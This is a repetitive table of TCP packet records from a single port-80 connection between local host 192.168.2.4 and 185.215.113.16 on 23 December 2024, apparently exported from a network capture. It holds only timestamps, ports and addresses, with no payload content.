Dec 23, 2024 08:08:02.144373894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.145205021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.145251036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.145262957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.145276070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.145323038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.146184921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.146258116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.146287918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.146307945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.147145987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.147245884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.147289038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.208904982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.208969116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.208982944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.209012985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.209357977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.209393978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.209410906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.209424019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.209705114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.210274935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.210398912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.210434914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.210861921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.210908890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.210987091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.210992098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.211905956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.211958885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.211963892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.211977959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.212018013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.212810040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.212877989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.212891102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.212920904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.213959932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.214063883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.214071035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.214083910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.214124918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.215162039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.255671978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.271238089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.271261930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.271275997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.271307945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.271658897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.271711111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.271748066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.271763086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.271807909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.272599936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.272823095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.272911072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.272922039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.272922993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.273339987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.273792982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.273854971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.273866892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.273906946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.274760008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.274820089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.274847984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.274863958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.274897099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.275728941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.275832891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.275846004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.275887012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.276710987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.276786089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.276798964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.276823997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.276865005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.277718067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.277764082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.277776957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.277800083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.278654099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.278743982 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.278759956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.278773069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.278830051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.279638052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.279700994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.279712915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.279787064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.280607939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.280647993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.280672073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.280684948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.281023026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.281579971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.281650066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.281662941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.281699896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.282567024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.282638073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.282669067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.282701015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.282838106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.283525944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.283590078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.283622980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.283664942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.284497976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.284549952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.284559011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.284573078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.284636021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.285475016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.285557985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.285571098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.285598040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.286480904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.286544085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.286556959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.286576033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.286597013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.287420034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.287516117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.287528992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.287569046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.288403034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.288460016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.288479090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.288487911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.288531065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.289343119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.289463997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.289475918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.289516926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.290298939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.290345907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.290378094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.290391922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.290427923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.291310072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.291379929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.291393995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.291418076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.334089994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.334127903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.334141016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.334161997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.334192991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.334527969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.334717035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.334769011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.334770918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.334784031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.334825039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.335699081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.335747004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.335758924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.335824013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.336674929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.336724043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.336771011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.336783886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.337327003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.337754965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.337810040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.337855101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.337945938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.338655949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.338706970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.338711977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.338726044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.338773012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.339554071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.339626074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.339663982 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.400918961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.400947094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.400959969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.401010036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.401407957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.401451111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.401454926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.401484966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.401525974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.402353048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.402436972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.402448893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.402492046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.403353930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.403415918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.403429031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.403450012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.403476000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.404320002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.404377937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.404392004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.404433012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.405313015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.405369043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.405375957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.405389071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.405425072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.406251907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.406349897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.406595945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.463488102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.463505030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.463519096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.463581085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.463869095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.463923931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.463958025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.463972092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.464010954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.464819908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.465219975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.465241909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.465255022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.465274096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.465313911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.466016054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.466093063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.466104984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.466147900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.467008114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.467106104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.467118025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.467123985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.467185020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.467999935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.468020916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.468033075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.468095064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.468951941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.468997002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.469016075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.469033957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.469120979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.469907999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.469949961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.470045090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.470062017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.470948935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.470969915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.470982075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.471007109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.471019983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.471853971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.471915007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.471927881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.471973896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.472822905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.472887993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.472898960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.472913027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.472956896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.473778963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.473877907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.473908901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.473938942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.474761009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.474828005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.474844933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.474858999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.475179911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.475739956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.475843906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.475857019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.475883007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.476799011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.476845980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.476880074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.476892948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.476932049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.477701902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.477754116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.477760077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.477809906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.478652954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.478698969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.478739977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.478773117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.478823900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.479640007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.479733944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.479746103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.479782104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.480655909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.480707884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.480714083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.480721951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.480783939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.481578112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.481647015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.481659889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.481700897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.482530117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.482575893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.482606888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.482620955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.482659101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.483542919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.483668089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.483680964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.483711958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.526352882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.526387930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.526403904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.526412964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.526453972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.526802063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.526882887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.526933908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.527358055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.527420998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.527440071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.527483940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.528331995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.528383017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.528397083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.528405905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.528438091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.529329062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.529391050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.529408932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.529432058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.530325890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.530379057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.530385017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.530440092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.530637980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.531275988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.531415939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.531428099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.531465054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.532233000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.532305956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.593095064 CET	80	49744	185.215.113.16	192.168.2.4
